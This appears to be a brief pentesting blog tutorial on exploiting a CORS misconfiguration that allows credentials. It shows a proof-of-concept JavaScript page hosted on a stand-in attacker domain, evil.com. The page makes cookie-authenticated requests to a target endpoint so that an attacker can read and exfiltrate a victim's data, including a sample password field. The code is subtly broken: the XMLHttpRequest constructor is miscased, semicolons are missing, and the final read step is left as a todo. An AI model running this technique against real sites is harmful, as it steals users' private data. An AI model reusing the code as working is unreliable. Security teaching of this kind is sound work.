You’re testing a webapp, and Burp has flagged a “Cross Origin Resource Sharing” issue… What now?

Let’s say that it flagged on the endpoint https://target.com/vulnerable-endpoint, which gives this silly response:

{"user":"admin", "password":"Spring2023!"}

If you set the request’s Origin header to a domain you control or null and get a response that looks like this (Burp is great at flagging this), you’re in luck!:

Access-Control-Allow-Origin: evil.com 
Access-Control-Allow-Credentials: true

This removes the browser’s same origin policy from that page, which means any javascript you host on evil.com is now able to make requests from the same origin of the vulnerable target page – using the cookies of the authenticated user!

Hosting the following script on evil.com and getting a user authenticated to target.com to visit the page will make an authenticated request to https://target.com/vulnerable-endpoint:

<script> 
var r = new XMLHTTPRequest(); 
var url = 'https://target.com/vulnerable-endpoint'; 
r.open('GET', url, false); 
r.withCredentials = true; 
r.send() 
</script>

(note that this only works for cookies, not Auth: Bearer xyz or any other header with session details / CSRF tokens)

You can then read the response (not cookies, just the response body) in r from this script running on evil.com, which means you could exfil PII or other interesting stuff returned from /vulnerable-endpoint. In this case, let’s read the “password” field from evil.com:

var r = new XMLHTTPRequest(); 
var url = 'https://target.com/vulnerable-endpoint'; 
r.open('GET', url, false); 
r.withCredentials = true; 
r.send() 
// todo - write some code to get that password